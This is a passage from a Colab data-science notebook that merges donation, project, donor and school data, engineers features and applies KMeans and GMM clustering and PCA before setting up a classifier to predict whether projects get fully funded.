\"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 68}\n# merged DataFrames\ndef merge_dataframes(source,dest,joincol):\n merged_df = source.merge(dest, on=joincol)\n print(merged_df.shape)\n return merged_df\n\nmerged_donation = merge_dataframes(target_donations,target_projects,'Project ID')\nmerged_donation = merge_dataframes(merged_donation,df_donors_merged,'Donor ID')\nmerged_donor_donation = merge_dataframes(merged_donation,merged_Schooldata,'School ID')\n\n# + id=\"L3sQnQkUgkv-\" colab_type=\"code\" outputId=\"983db5f3-eb06-4be7-ba2b-ecd39adef152\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914896010, \"user_tz\": 420, \"elapsed\": 196796, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 111}\nmerged_don = (merged_donor_donation.groupby(['Project ID', 'Donor ID'])\n .agg({'Donation Amount':'sum'})\n .rename(columns={'Donation Amount': 'Total Donation'})\n .reset_index()\n )\nmerged_don.head(2)\n\n# + id=\"sSGqtr5igkwB\" colab_type=\"code\" outputId=\"1d52eb31-a5b7-43de-fa85-53df0c4a4fe9\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914897010, \"user_tz\": 420, \"elapsed\": 197788, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 279}\nmerged_don = merged_donor_donation.merge(merged_don, on=['Project ID', 'Donor ID'])\nmerged_don.head(2)\n\n# + id=\"RN7e408KgkwD\" colab_type=\"code\" outputId=\"7ef97872-521b-47e3-d37d-d5345eef21e1\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914897374, \"user_tz\": 420, \"elapsed\": 198144, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 279}\nmerged_don = (merged_don.drop_duplicates(['Project ID', 'Donor ID'], keep='first')\n .drop('Donation Amount', axis=1)\n .rename(columns={'Total Donation':'Donation Amount'})\n )\nmerged_don.head(2)\n\n# + id=\"Gphq8YZkgkwH\" colab_type=\"code\" outputId=\"93232e1d-5b98-4468-81f9-167a388aa59e\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914897375, \"user_tz\": 420, \"elapsed\": 198137, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 296}\ndf_merged = merged_don.loc[(merged_don['Donation Amount'] >= 1) & (merged_don['Donation Amount'] <= 200)]\nprint(df_merged.shape)\ndf_merged.head(2)\n\n# + id=\"XFxl0XFockhH\" colab_type=\"code\" colab={}\ndf_merged['Donation Received Date'] = pd.to_datetime(df_merged['Donation Received Date'])\ndf_merged['Donation Received Date'].dtypes\ndf_merged['Project Posted Date'] = pd.to_datetime(df_merged['Project Posted Date'])\ndf_merged['Project Posted Date'].dtypes\ndf_merged['Donation Received Month'] = df_merged['Donation Received Date'].dt.month\ndf_merged['Donation Received Year'] = df_merged['Donation Received Date'].dt.year\n\n# + [markdown] id=\"wFtvwfbcgkxS\" colab_type=\"text\"\n# ## Feature Engineering\n#\n# @Author: Sithara and Pragya\n\n# + id=\"Z_dC8dAsgkxS\" colab_type=\"code\" outputId=\"72a082d5-5408-40a3-ab1e-24bfcc75b218\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914898233, \"user_tz\": 420, \"elapsed\": 198986, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 323}\ndf_merged.columns\n\n# + id=\"H0EbDgtsgkxX\" colab_type=\"code\" colab={}\nfeatures = ['Donation ID','Project ID','School ID','Donation Received Month','Donation Received Year','Project Type','Project Subject Category Tree',\n 'Project Grade Level Category', 'Project Resource Category','Project Cost','Project Posted Date',\n 'Project Current Status','Project Expiration Date','Project Fully Funded Date','School Name',\n 'School Metro Type','School State','School District','Donation Amount','Median Household Income Mean','Population Density Sum',\n 'Overall Niche Grade', 'School Strength']\n\nnew = df_merged[features].copy()\n\n# + id=\"ykgatSkagkxY\" colab_type=\"code\" outputId=\"3c86f763-7f15-45f9-b8f4-114369f94c57\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914898235, \"user_tz\": 420, \"elapsed\": 198979, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 296}\nprint(new.shape)\nnew.head(2)\n\n# + id=\"CjeqS0kqgkxa\" colab_type=\"code\" outputId=\"99004ccc-0680-4add-e6f7-127818adc560\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914898236, \"user_tz\": 420, \"elapsed\": 198972, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 425}\nnew.dtypes\n\n\n# + [markdown] id=\"-__TTG7DKpM0\" colab_type=\"text\"\n# ### Null Check / Type Conversion / Drop unused columns\n\n# + id=\"STsaJ9dZgkxc\" colab_type=\"code\" colab={}\ndef null_check(df,name):\n print(name)\n print('Number of rows and cols are {} and {}'.format(df.shape[0],\n df.shape[1]))\n print('Number of nulls are \\n{}'.format(df.isnull().sum()),'\\n')\n \ndef type_convert(df,column,dtype):\n print(\"Data Type before conversion:\",df[column].dtypes,'\\n')\n df[column] = df[column].astype(dtype)\n print(\"Data Type after conversion:\",df[column].dtypes)\n \ndef drop_col(df,column):\n print(\"Column to Drop is :\",column,'\\n')\n df.drop(columns=column,axis=1,inplace=True)\n\n\n# + id=\"HpA_dEP9gkxd\" colab_type=\"code\" colab={}\nnew['Project Expiration Date'] = pd.to_datetime(new['Project Expiration Date'])\nnew['Project Fully Funded Date'] = pd.to_datetime(new['Project Fully Funded Date'])\n\n# + id=\"ky9mS9ATgkxe\" colab_type=\"code\" colab={}\ntimestamp = pd.to_datetime('now')\nnew['Current Date'] = timestamp.replace(hour = 0, minute = 0, second = 0, microsecond = 0)\n\n\n# + [markdown] id=\"dE54xNGMc8Vo\" colab_type=\"text\"\n# ### Latent Variable Identification
\n#\n# Based on Project Current Status being 'Expired', 'Fully Funded' or 'Live', we have generated a Latent variable named \"Duration Project Was Live\".
\n# \"Duration Project Was Live\" is the difference between project posted date and the number of days project takes to get fully-funded/expired.
\n# ***\n# As we are going to identify whether a project gets fully funded or not, this latent variable adds a value towards our prediction which we will see in the classification section\n#\n# @Author: Vidhi and Sithara\n\n# + id=\"FTkpMEkJgkxg\" colab_type=\"code\" colab={}\ndef getduration(currstatus, expiredate,ffdate,posteddate,currdate):\n if currstatus == 'Expired':\n duration = expiredate - posteddate\n elif currstatus == 'Fully Funded':\n duration = ffdate - posteddate\n else:\n duration = currdate - posteddate\n return duration\n\n\n# + id=\"NGPnJU6Bgkxj\" colab_type=\"code\" colab={}\nnew['Duration_Project_Was_Live'] = new.apply(lambda x:getduration(x['Project Current Status'],x['Project Expiration Date'],x['Project Fully Funded Date'],x['Project Posted Date'],x['Current Date']), axis = 1)\n\n# + id=\"qJ0CgKFkgkxk\" colab_type=\"code\" colab={}\nnew['Duration_Project_Was_Live'] = new['Duration_Project_Was_Live'].apply(lambda x: x/np.timedelta64(1,'D'))\n\n# + id=\"N3jV7gJQgkxo\" colab_type=\"code\" outputId=\"fdc50dfe-8c0e-4e02-ff00-27531994d5f9\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914909791, \"user_tz\": 420, \"elapsed\": 210515, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 85}\nnew['Project Current Status'].value_counts()\n\n# + id=\"9q5ADaEDgkxr\" colab_type=\"code\" colab={}\n#Project Resource Catogery\nnew['Project Resource Category'].fillna('Other', inplace=True)\n#Project Subject Category Tree\nnew['Project Subject Category Tree'].fillna('Other', inplace=True)\n\n# + id=\"Va7bakKAgkxs\" colab_type=\"code\" colab={}\n# Label Encoding\nle = preprocessing.LabelEncoder()\nnew['Project Grade Level Category_Label'] = le.fit_transform(new['Project Grade Level Category'])\nnew['Project Resource Category_Label'] = le.fit_transform(new['Project Resource Category'])\nnew['Project Type_Label'] = le.fit_transform(new['Project Type'])\nnew['Project Subject Category Tree_Label'] = le.fit_transform(new['Project Subject Category Tree'])\nnew['Project Current Status_Label'] = le.fit_transform(new['Project Current Status'])\nnew['School Name_Label'] = le.fit_transform(new['School Name'])\nnew['School Metro Type_Label'] = le.fit_transform(new['School Metro Type'])\nnew['School State_Label'] = le.fit_transform(new['School State'])\nnew['School District_Label'] = le.fit_transform(new['School District'])\nnew['Overall Niche Grade_Label'] = le.fit_transform(new['Overall Niche Grade'])\n\n# + id=\"0YkPiCW1gkxt\" colab_type=\"code\" outputId=\"66ccd4a4-1a86-4c3c-89ea-872f8a421018\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914909985, \"user_tz\": 420, \"elapsed\": 210699, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 629}\nnew.dtypes\n\n# + id=\"vHiLWruCgkx0\" colab_type=\"code\" colab={}\ndf_kmeans = new.copy()\n\n# + id=\"LAqk_N3Cgkx1\" colab_type=\"code\" colab={}\ndf_kmeans['Donation ID'] = le.fit_transform(df_kmeans['Donation ID'])\n\n# + id=\"Z3M1rpuRgkx3\" colab_type=\"code\" outputId=\"bed1336e-84fe-4265-ce1e-47bf36ceccb9\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914910483, \"user_tz\": 420, \"elapsed\": 211187, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 245}\ndf_kmeans = df_kmeans.sort_values(by='Donation ID')\ndf_kmeans.head(2)\n\n# + id=\"bLlyz6w8gkx4\" colab_type=\"code\" colab={}\nmerged_kmeans = df_kmeans.copy()\nmerged_kmeans.set_index('Donation ID', inplace=True)\n# df_kmeans['Donation ID'].max() #3732820\n# df_kmeans.shape\n\n# + id=\"WY-BzR-qgkx6\" colab_type=\"code\" outputId=\"c949e31b-4079-4257-ef6e-48c2974f7021\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914910486, \"user_tz\": 420, \"elapsed\": 211182, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 293}\ndf_new = merged_kmeans.copy()\nmerged_kmeans.head(2)\n\n# + id=\"uPD5Fa7Qgkx7\" colab_type=\"code\" outputId=\"8b050963-9558-45b3-9da7-2c8078b80ba9\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914910487, \"user_tz\": 420, \"elapsed\": 211176, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 88}\ncols_to_drop = ['Project ID','School ID','Project Posted Date','Project Expiration Date','Project Fully Funded Date',\n 'Current Date','Project Grade Level Category','Project Resource Category','Project Type',\n 'Project Subject Category Tree','Project Current Status','School Name','School Metro Type',\n 'School State','School District','Overall Niche Grade']\n\ndrop_col(df_new,cols_to_drop)\nprint(\"DONE!\")\n\n# + id=\"yYCIfqLZGNSv\" colab_type=\"code\" colab={}\ndf_new['School Strength'] = df_new['School Strength'].apply(lambda x: x.replace(',','') if(',' in x) else x)\ndf_new['School Strength'] = df_new['School Strength'].astype(int)\n\n# + id=\"lki9ct8Tgkx8\" colab_type=\"code\" outputId=\"3db3802f-fd02-4427-b5f7-0f27e3711c6d\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914910490, \"user_tz\": 420, \"elapsed\": 211169, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 340}\ndf_new.dtypes\n\n# + id=\"3Dlp63ujgkx9\" colab_type=\"code\" colab={}\ndf_new.isna().sum()\ndf_new.dropna(axis=0, inplace=True)\n\n# + id=\"F0w_ydqhgkyA\" colab_type=\"code\" colab={}\nX = df_new.copy()\n# kmeans = KMeans(n_clusters = 5).fit(X)\n\n# + id=\"IydLFqtkgkyC\" colab_type=\"code\" outputId=\"819d08a0-0160-46da-8507-764dba06a415\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914910636, \"user_tz\": 420, \"elapsed\": 211306, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nX_sample = X.sample(n = 10000, axis = 0)\nX_sample.shape\n\n# + id=\"IeXxwfdggkyT\" colab_type=\"code\" outputId=\"3a004886-1a41-4b6d-a869-d7b8448ac4e8\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914910637, \"user_tz\": 420, \"elapsed\": 211299, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 323}\nX_sample.head()\n\n# + [markdown] id=\"1jA_ry8NMe8X\" colab_type=\"text\"\n# ## CLUSTERING\n\n# + [markdown] id=\"WYOPpILOMQHx\" colab_type=\"text\"\n# ### KMeans\n#\n# @Author: Vidhi\n\n# + id=\"tKZ-u1hugkyU\" colab_type=\"code\" outputId=\"5dfeb781-ee17-4946-964f-fe258c58fe2c\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914910831, \"user_tz\": 420, \"elapsed\": 211485, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nkmeans = KMeans(n_clusters = 5).fit(X_sample)\nlen(kmeans.cluster_centers_)\n\n# + id=\"V7SjpzYsgkyW\" colab_type=\"code\" outputId=\"798155d1-53a5-44e1-898f-85689aabe985\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914910832, \"user_tz\": 420, \"elapsed\": 211478, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 442}\nkmeans.cluster_centers_\n\n# + id=\"Fq9rYICEgkyY\" colab_type=\"code\" outputId=\"eaa67d3b-d188-4d82-d66d-2fe88e8988ff\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914910832, \"user_tz\": 420, \"elapsed\": 211468, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 119}\nprint(len(kmeans.cluster_centers_[0]))\nkmeans.cluster_centers_[4]\n\n# + id=\"OMqtVkj1gkyZ\" colab_type=\"code\" outputId=\"93cad9ef-f9f2-4bd0-bd3b-ed52b0cb91ca\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914911251, \"user_tz\": 420, \"elapsed\": 211878, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 372}\nplt.figure(figsize=(10,6))\nfor i in range(len(kmeans.cluster_centers_)):\n plt.plot(kmeans.cluster_centers_[i][0],kmeans.cluster_centers_[i][1],'*', markersize=12, label=i);\n plt.xticks([], [])\n plt.yticks([], [])\n plt.legend()\nplt.title('KMeans Clustering (n_clusters = 5)');\n\n# + id=\"OGYTJZ_wgkya\" colab_type=\"code\" outputId=\"85b136ad-d920-4a44-9395-db4298297bb2\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914941462, \"user_tz\": 420, \"elapsed\": 242082, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 389}\nfrom sklearn.metrics import silhouette_score\nsse = []\nsilhouette = []\nkrange = range(2, 15)\nplt.figure(figsize=(10,6))\nfor k in krange:\n kmeans = KMeans(n_clusters = k).fit(X_sample)\n sse.append(kmeans.inertia_)\n \n labels = kmeans.predict(X_sample)\n sl = silhouette_score(X_sample, labels)\n silhouette.append(sl)\n \nplt.plot(krange, sse, label='SS', c='orange')\nlines, labels = plt.gca().get_legend_handles_labels()\nplt.twinx()\nplt.plot(krange, silhouette, label = 'Silhouette', c='blue')\nlines2, labels2 = plt.gca().get_legend_handles_labels()\nplt.legend(lines+lines2, labels+labels2)\nplt.title(\"Validation Measures per k Clusters\")\nplt.show()\n\n\n# + id=\"AcKmrgurgkyb\" colab_type=\"code\" outputId=\"496cde66-d39e-44e6-8a52-196bf0638868\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914942843, \"user_tz\": 420, \"elapsed\": 243455, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 376}\n# def k_means(df,no_of_clusters):\n# kmeans = KMeans(n_clusters=no_of_clusters)\n# kmeans_model = kmeans.fit(df)\n# return kmeans\n\ndef elbow(df):\n K = range(1,10)\n wcss = []\n for i in K:\n kmeans = KMeans(n_clusters=i)\n kmeans = kmeans.fit(df)\n wcss.append(kmeans.inertia_) #within-cluster sums of squares\n plt.plot(K,wcss, 'bx-')\n plt.title('The Elbow Method')\n plt.xlabel('Number of clusters')\n plt.ylabel('WCSS')\n plt.show() \n\nelbow(X_sample)\n\n# + id=\"R_kuN3N1gkyc\" colab_type=\"code\" outputId=\"092f1a4c-5b55-4e05-9862-e6f23b65bae6\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914943327, \"user_tz\": 420, \"elapsed\": 243932, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 372}\nn_clusters = 7\nkmeans = KMeans(n_clusters = n_clusters).fit(X_sample)\nplt.figure(figsize=(10,6))\nfor i in range(len(kmeans.cluster_centers_)):\n plt.plot(kmeans.cluster_centers_[i][0],kmeans.cluster_centers_[i][1],'*', markersize=12, label=i);\n plt.xticks([], [])\n plt.yticks([], [])\n plt.legend()\nplt.title('KMeans Clustering (n_clusters = {})'.format(n_clusters));\n\n# + id=\"zebXV0VTgkyd\" colab_type=\"code\" outputId=\"bc6fc9ba-d8ad-4c59-a7d5-209c10da3031\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914943328, \"user_tz\": 420, \"elapsed\": 243925, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 323}\nX_sample.iloc[kmeans.labels_==0,:].head(5)\n\n# + id=\"VqIJbLu2gkyf\" colab_type=\"code\" colab={}\nclusters_list = {}\nfor c in range(n_clusters):\n clusters_list[c] = merged_kmeans.iloc[X_sample.iloc[kmeans.labels_ == c, :].index]['Project ID']\n\n# + id=\"vSzuV3ZNgkyg\" colab_type=\"code\" outputId=\"4f9e9947-ec36-47eb-bb05-026d4177f7af\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914943331, \"user_tz\": 420, \"elapsed\": 243917, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 119}\nX_sample.iloc[kmeans.labels_ == 0, :].index\n\n# + id=\"dFQGTT56gkyh\" colab_type=\"code\" outputId=\"6cc43341-cb28-412d-c904-e7952834a3c3\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914943525, \"user_tz\": 420, \"elapsed\": 244103, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 4026}\nmerged_kmeans.iloc[X_sample.iloc[kmeans.labels_ == 0, :].index].sort_values(by=['Project ID','School ID'])\n# merged_kmeans.iloc[X_sample.iloc[kmeans.labels_ == 0, :].index].duplicated()\n\n#merged_kmeans.iloc[X_sample.iloc[kmeans.labels_ == 0, :].index].loc[1318168]\n\n# + id=\"Tx416tPWgkyk\" colab_type=\"code\" colab={}\nX_sample['Label'] = kmeans.labels_\n\n# + id=\"ur2JNZohgkyl\" colab_type=\"code\" outputId=\"625300e9-3d9a-4354-a7c9-8c923cf30878\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914943527, \"user_tz\": 420, \"elapsed\": 244095, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 153}\nX_sample['Label'].value_counts()\n\n# + id=\"U-HzKn8tgkym\" colab_type=\"code\" outputId=\"153b9ec2-51c1-455e-ed31-8ed3cff58fb9\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914943528, \"user_tz\": 420, \"elapsed\": 244088, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 34}\nX_sample.shape\n\n# + id=\"9vIfkNmSgkyn\" colab_type=\"code\" outputId=\"343d107c-7bd0-4475-893a-cc7d94cd4808\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914943528, \"user_tz\": 420, \"elapsed\": 244080, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 323}\nX_sample.head()\n\n# + id=\"_45SOwllgkyp\" colab_type=\"code\" outputId=\"e7794cf0-120b-4c54-caa9-633fde7dfa6d\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914943529, \"user_tz\": 420, \"elapsed\": 244074, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 323}\nX_sample.tail()\n\n# + [markdown] id=\"Gz_-cPfhh4m0\" colab_type=\"text\"\n# ### PCA\n\n# + id=\"lC_-cpATgkyr\" colab_type=\"code\" outputId=\"6bb95ad6-dea1-4202-99f3-dc3805fae61c\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914944479, \"user_tz\": 420, \"elapsed\": 245016, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 420}\nfrom sklearn.decomposition import PCA\npca = PCA(n_components = 3).fit_transform(X_sample)\nplt.figure(figsize=(10,6))\nplt.scatter(pca[:,0],pca[:,1], c = kmeans.labels_,cmap='viridis')\nplt.title(\"K-Means Clustering\")\nplt.xlabel(\"PC1\")\nplt.ylabel(\"PC2\")\n\n# + [markdown] id=\"WjCEBdHfeIau\" colab_type=\"text\"\n# #### Get correlations of each features in dataset and Plot heat map:\n\n# + id=\"4UUcnh_pgkys\" colab_type=\"code\" outputId=\"13c99c17-fbb9-4705-ec1d-a19a88821026\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914947294, \"user_tz\": 420, \"elapsed\": 247823, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 854}\n#get correlations of each features in dataset\ncorrmat = X_sample.corr()\ntop_corr_features = corrmat.index\nplt.figure(figsize=(12,12))\n#plot heat mapb\ng=sns.heatmap(X_sample[top_corr_features].corr(),annot=True,cmap=\"RdYlGn\")\n\n\n# + [markdown] id=\"o_VsP2OOgkyu\" colab_type=\"text\"\n# ### GMM\n# @Author: Pragya\n\n# + id=\"6Bo_37Rtgkyu\" colab_type=\"code\" outputId=\"a8982424-1dee-4d6a-e01c-2667539b0ab0\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914947294, \"user_tz\": 420, \"elapsed\": 247815, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 153}\ndef GMM_clusters(numOfClusters,data):\n gmm = GaussianMixture(n_components=numOfClusters).fit(data)\n labels = gmm.predict(data)\n return labels\n\nX_sample['GMM_Label'] = GMM_clusters(7,X_sample)\nX_sample['GMM_Label'].value_counts()\n\n# + id=\"4pA85Mnxgkyw\" colab_type=\"code\" outputId=\"95004863-b736-43ac-f6f6-bfbe7d747004\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553914948148, \"user_tz\": 420, \"elapsed\": 248661, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 420}\npca_gmm = PCA(n_components = 3).fit_transform(X_sample)\nplt.figure(figsize=(10,6))\nplt.scatter(pca_gmm[:,0],pca_gmm[:,1], c = X_sample['GMM_Label'],cmap='rainbow')\nplt.title(\"GMM Clustering\")\nplt.xlabel(\"PC1\")\nplt.ylabel(\"PC2\")\n\n# + id=\"vq_dXo-bvGOJ\" colab_type=\"code\" colab={}\nX_sample.drop('GMM_Label',axis=1,inplace=True)\n\n# + [markdown] id=\"_lWcDmDRgkyx\" colab_type=\"text\"\n# ## Classification\n# ***\n# As given in the Latent Variable section, \"Duration Project Was Live\" along with other features from donations, schools,donors and projects will help us in the identification of our target variable.
\n#\n# As the prediction model will help us to know whether a project will be fully-funded or not, we are using 'Project Current Status' as the target variable. Here we have 3 distict values: \"Fully-Funded\", \"Expired\" and \"Live\". For the classification, we will train our data with fully-funded(1) /Expired(0) projects. And further we will make the predictions on \"live\" projects whether they will be fully funded or not.
\n# ***\n# The Seperation of Train, Validation and Test data is done in following manner:
\n#
  • Train and Validation Set : Contains the features(except target variable) for Fully-funded/Expired Projects
  • \n#
  • Test Set: Contains the features(except target variable) for Live Projects
\n# \n# @Author : Team\n\n# + id=\"I-uk8SFvj9M6\" colab_type=\"code\" colab={}\nauc = []\n\ndef plotROC_Curve(clf, X_test, y_test):\n #Predicting proba\n y_pred_prob = clf.predict_proba(X_test)[:,1]\n \n # # Generate ROC curve values: fpr, tpr, thresholds\n fpr, tpr, thresholds = roc_curve(y_test, y_pred_prob)\n# roc_auc = metrics.auc(fpr, tpr)\n# print(roc_auc)\n auc_score = metrics.roc_auc_score(y_test, y_pred_prob)\n auc.append(auc_score)\n plt.title('Receiver Operating Characteristic')\n plt.grid()\n plt.plot(fpr, tpr, 'b', marker='.', label = 'AUC = %0.2f' % auc_score)\n plt.legend(loc = 'lower right')\n plt.plot([0, 1], [0, 1],linestyle = '--',color='orangered')\n plt.xlim([0, 1])\n plt.ylim([0, 1])\n plt.ylabel('True Positive Rate')\n plt.xlabel('False Positive Rate')\n plt.show()\n\n\n# + id=\"a2f639HSgkyx\" colab_type=\"code\" outputId=\"7a9fd9db-cfa2-47a5-efb3-d424ab8f7961\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915179361, \"user_tz\": 420, \"elapsed\": 812, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 119}\nX_predict_live = X_sample[X_sample['Project Current Status_Label'] == 2]\nprint(X_predict_live['Project Current Status_Label'].value_counts())\n\nX_predict_ffexpired = X_sample[(X_sample['Project Current Status_Label'] == 0) | (X_sample['Project Current Status_Label'] == 1)]\nprint(X_predict_ffexpired['Project Current Status_Label'].value_counts())\nprint(X_predict_ffexpired.shape)\n\n# + id=\"S1N1UBkxgkyz\" colab_type=\"code\" outputId=\"0b254c22-c84b-4d45-9ccc-461b08828585\" executionInfo={\"status\": \"ok\", \"timestamp\": 1553915179584, \"user_tz\": 420, \"elapsed\": 1020, \"user\": {\"displayName\": \"Sithara Krishna Murthy\", \"photoUrl\": \"\", \"userId\": \"05805458944347267887\"}} colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 119}\nX_1 = X_predict_ffexpired[X_predict_ffexpired['Project Current Status_Label'] == 1]\nX_0 = X_predict_ffexpired[X_predict_ffexpired['Project Current Status_Label'] == 0]\nX_1sample = X_1.sample(n = 1000, axis = 0).reset_index(drop=True)\nprint(X_1sample.shape)\nprint(X_0.shape)\n\nX_predict_ffexpired_sub = X_1sample.append(X_0)\nprint(X_predict_ffexpired_sub.shape)\nX_predict_ffexpired_sub['Project Current Status_Label'].value_counts()\n\n# + id=\"p5pMXEITgky0\" colab_type=\"code\" colab={}\n# Take the log of Donation Amount and Project Cost\nX_predict_ffexpired_sub['log_Project Cost'] = np.log10(X_predict_ffexpired_sub['Project 